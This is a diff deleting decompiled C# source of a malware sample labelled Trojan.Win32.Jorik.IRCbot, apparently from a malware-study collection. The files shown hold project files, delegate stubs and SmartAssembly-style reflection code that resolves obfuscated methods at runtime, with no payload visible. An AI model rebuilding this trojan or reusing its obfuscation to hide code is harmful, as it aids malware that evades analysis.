<Compile Include="_008E_0003.cs" />
<Compile Include="_008F_0003.cs" />
<Compile Include="_0090_0003.cs" />
<Compile Include="_007F\_001F.cs" />
<Compile Include="_007F\_0080.cs" />
<Compile Include="_007F\_0081.cs" />
<Compile Include="_007F\_0082.cs" />
<Compile Include="_007F\_0083.cs" />
<Compile Include="_007F\_0084.cs" />
<Compile Include="_007F\_0086.cs" />
<Compile Include="_007F\_0087.cs" />
<Compile Include="_007F\_0088.cs" />
<Compile Include="_007F\_0089.cs" />
<Compile Include="_007F\_008A.cs" />
<Compile Include="_007F\_008B.cs" />
<Compile Include="_007F\_008C.cs" />
<Compile Include="_007F\_008D.cs" />
<Compile Include="_007F\Token20000A9.cs" />
<Compile Include="_0019\_0018.cs" />
<Compile Include="_0019\_001A.cs" />
<Compile Include="_0019\_001B.cs" />
<Compile Include="_0019\Token20000A8.cs" />
<Compile Include="SmartAssembly\Attributes\PoweredByAttribute.cs" />
<Compile Include="SmartAssembly\Attributes\Token20000A7.cs" />
<Compile Include="_0017\_0004.cs" />
<Compile Include="_0017\Token20000A6.cs" />
<Compile Include="Refx\My\MySettings.cs" />
<Compile Include="Refx\My\Token20000AA.cs" />
<Compile Include="_0008\Token20000A4.cs" />
<Compile Include="_000F\_000E.cs" />
<Compile Include="_000F\Token20000A5.cs" />
<Compile Include="_0007\_00072.cs" />
<Compile Include="_0007\_0007.cs" />
<Compile Include="_0007\Token20000A3.cs" />
<Compile Include="_0005\_0004.cs" />
<Compile Include="_0005\_0006.cs" />
<Compile Include="_0005\Token20000A2.cs" />
<Compile Include="_0003\_0002.cs" />
<Compile Include="_0003\Token20000A1.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="{0a6501ce-651b-49ef-9cd4-6837233abdb4}" />
<EmbeddedResource Include="Refx\Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Refx", "Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.csproj", "{1B09DA76-CDE1-4A04-8F4A-E862BA76E498}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{1B09DA76-CDE1-4A04-8F4A-E862BA76E498}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1B09DA76-CDE1-4A04-8F4A-E862BA76E498}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1B09DA76-CDE1-4A04-8F4A-E862BA76E498}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1B09DA76-CDE1-4A04-8F4A-E862BA76E498}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System;
using System.Runtime.InteropServices;
internal delegate void \u0001\u0002([In] Exception obj0);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate void \u0001\u0003([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3);

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using Microsoft.VisualBasic;
using System.Runtime.InteropServices;
internal delegate string \u0002\u0002([In] string obj0, [In] FileAttribute obj1);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate long \u0002\u0003([In] string obj0);

View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .Token20000A1
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
namespace \u0003
{
internal class Token20000A1 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
namespace \u0003
{
internal delegate string \u0002(int i);
}

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System;
using System.Runtime.InteropServices;
internal delegate Type \u0003\u0002([In] object obj0);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate short \u0003\u0003([In] object obj0);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate object \u0004\u0002([In] object obj0, [In] string obj1);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate void \u0004\u0003([In] object obj0, [In] string obj1, [In] object obj2);

View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .Token20000A2
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
namespace \u0005
{
internal class Token20000A2 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

View File

@ -1,54 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using \u0003;
using \u0017;
using System;
using System.Diagnostics;
using System.Reflection;
using System.Reflection.Emit;
namespace \u0005
{
internal static class \u0004
{
public static void \u008E()
{
Type declaringType = new StackTrace().GetFrame(1).GetMethod().DeclaringType;
foreach (FieldInfo field in declaringType.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
{
try
{
if ((object) field.FieldType == (object) typeof (\u0002))
{
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1]
{
typeof (int)
}, declaringType, true);
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
ilGenerator.Emit(OpCodes.Ldarg_0);
foreach (MethodInfo method in typeof (\u0004).GetMethods(BindingFlags.Static | BindingFlags.Public))
{
if ((object) method.ReturnType == (object) typeof (string))
{
ilGenerator.Emit(OpCodes.Ldc_I4, field.MetadataToken & 16777215);
ilGenerator.Emit(OpCodes.Sub);
ilGenerator.Emit(OpCodes.Call, method);
break;
}
}
ilGenerator.Emit(OpCodes.Ret);
field.SetValue((object) null, (object) (\u0002) dynamicMethod.CreateDelegate(typeof (\u0002)));
break;
}
}
catch
{
}
}
}
}
}

View File

@ -1,184 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using \u0005;
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
namespace \u0005
{
internal static class \u0006
{
private static ModuleHandle \u0001;
private static char[] \u0002 = new char[58]
{
'\u0001',
'\u0002',
'\u0003',
'\u0004',
'\u0005',
'\u0006',
'\a',
'\b',
'\u000E',
'\u000F',
'\u0010',
'\u0011',
'\u0012',
'\u0013',
'\u0014',
'\u0015',
'\u0016',
'\u0017',
'\u0018',
'\u0019',
'\u001A',
'\u001B',
'\u001C',
'\u001D',
'\u001E',
'\u001F',
'\u007F',
'\u0080',
'\u0081',
'\u0082',
'\u0083',
'\u0084',
'\u0086',
'\u0087',
'\u0088',
'\u0089',
'\u008A',
'\u008B',
'\u008C',
'\u008D',
'\u008E',
'\u008F',
'\u0090',
'\u0091',
'\u0092',
'\u0093',
'\u0094',
'\u0095',
'\u0096',
'\u0097',
'\u0098',
'\u0099',
'\u009A',
'\u009B',
'\u009C',
'\u009D',
'\u009E',
'\u009F'
};
public static void \u008F([In] int obj0)
{
Type typeFromHandle;
try
{
typeFromHandle = Type.GetTypeFromHandle(\u0006.\u0001.ResolveTypeHandle(33554433 + obj0));
}
catch
{
return;
}
foreach (FieldInfo field in typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
{
string name = field.Name;
bool flag = false;
int num = 0;
for (int index1 = name.Length - 1; index1 >= 0; --index1)
{
char ch = name[index1];
if (ch == '~')
{
flag = true;
break;
}
for (int index2 = 0; index2 < 58; ++index2)
{
if ((int) \u0006.\u0002[index2] == (int) ch)
{
num = num * 58 + index2;
break;
}
}
}
MethodInfo methodFromHandle;
try
{
methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0006.\u0001.ResolveMethodHandle(num + 167772161));
}
catch
{
continue;
}
Delegate @delegate;
if (methodFromHandle.IsStatic)
{
try
{
@delegate = Delegate.CreateDelegate(field.FieldType, methodFromHandle);
}
catch (Exception ex)
{
continue;
}
}
else
{
ParameterInfo[] parameters = methodFromHandle.GetParameters();
int length = parameters.Length + 1;
Type[] parameterTypes = new Type[length];
parameterTypes[0] = typeof (object);
for (int index = 1; index < length; ++index)
parameterTypes[index] = parameters[index - 1].ParameterType;
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true);
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
ilGenerator.Emit(OpCodes.Ldarg_0);
if (length > 1)
ilGenerator.Emit(OpCodes.Ldarg_1);
if (length > 2)
ilGenerator.Emit(OpCodes.Ldarg_2);
if (length > 3)
ilGenerator.Emit(OpCodes.Ldarg_3);
if (length > 4)
{
for (int index = 4; index < length; ++index)
ilGenerator.Emit(OpCodes.Ldarg_S, index);
}
ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle);
ilGenerator.Emit(OpCodes.Ret);
try
{
@delegate = dynamicMethod.CreateDelegate(typeFromHandle);
}
catch
{
continue;
}
}
try
{
field.SetValue((object) null, (object) @delegate);
}
catch
{
}
}
}
static \u0006()
{
if ((object) typeof (MulticastDelegate) == null)
return;
\u0006.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle;
}
}
}

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate int \u0005\u0002([In] long obj0);

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using Microsoft.VisualBasic;
using System.Runtime.InteropServices;
internal delegate void \u0005\u0003([In] string obj0, [In] FileAttribute obj1);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate char \u0006\u0002([In] object obj0, [In] int obj1);

View File

@ -1,11 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System;
using System.Reflection;
using System.Runtime.InteropServices;
internal delegate Delegate \u0006\u0003([In] Type obj0, [In] MethodInfo obj1);

View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .Token20000A3
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
namespace \u0007
{
internal class Token20000A3 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

View File

@ -1,50 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
namespace \u0007
{
internal sealed class \u0007
{
internal static long \u0001;
internal static long \u0002;
internal static \u0007.\u0007.\u0010 \u0003;
internal static \u0007.\u0007.\u0010 \u0004;
internal static \u0007.\u0007.\u0011 \u0005;
internal static \u0007.\u0007.\u0011 \u0006;
internal static \u0007.\u0007.\u0012 \u0007;
internal static \u0007.\u0007.\u0012 \u0008;
internal static \u0007.\u0007.\u0013 \u000E;
internal static \u0007.\u0007.\u0013 \u000F;
internal static \u0007.\u0007.\u0016 \u0010;
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u0010
{
}
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
private struct \u0011
{
}
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
private struct \u0012
{
}
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
private struct \u0013
{
}
[StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
private struct \u0016
{
}
}
}

View File

@ -1,21 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .2
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using \u0007;
using System.Runtime.InteropServices;
namespace \u0007
{
internal sealed class \u00072
{
internal static \u00072.\u0007 \u0001;
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u0007
{
}
}
}

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using Microsoft.Win32;
using System.Runtime.InteropServices;
internal delegate RegistryKey \u0007\u0002([In] object obj0, [In] string obj1, [In] bool obj2);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate void \u0007\u0003([In] object obj0, [In] string obj1, [In] string obj2);

View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .Token20000A4
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
namespace \u0008
{
internal class Token20000A4 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate int \u0008\u0002([In] string obj0);

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System;
using System.Runtime.InteropServices;
internal delegate PlatformID \u0008\u0003([In] object obj0);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate object \u000E\u0002([In] object obj0, [In] string obj1, [In] string obj2, [In] object obj3);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate byte[] \u000E\u0003([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3);

View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .Token20000A5
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
namespace \u000F
{
internal class Token20000A5 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System;
using System.Runtime.InteropServices;
internal delegate Delegate \u000F\u0002([In] object obj0, [In] Type obj1);

View File

@ -1,7 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
internal delegate int \u000F\u0003();

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate string \u0010\u0002([In] string obj0, [In] int obj1, [In] int obj2);

View File

@ -1,16 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using Microsoft.VisualBasic;
using System.Runtime.InteropServices;
internal delegate string \u0010\u0003(
[In] string obj0,
[In] string obj1,
[In] string obj2,
[In] int obj3,
[In] int obj4,
[In] CompareMethod obj5);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate void \u0011\u0002([In] object obj0);

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using Microsoft.VisualBasic;
using System.Runtime.InteropServices;
internal delegate int \u0011\u0003([In] int obj0, [In] string obj1, [In] string obj2, [In] CompareMethod obj3);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate void \u0012\u0002([In] int obj0);

View File

@ -1,7 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
internal delegate void \u0012\u0003();

View File

@ -1,11 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
internal delegate void \u0013\u0002([In] object obj0, [In] OpCode obj1, [In] MethodInfo obj2);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
internal delegate int \u0013\u0003([In] ref int obj0);

View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System;
using System.Runtime.InteropServices;
internal delegate ModuleHandle \u0014\u0002([In] object obj0);

View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.Runtime.InteropServices;
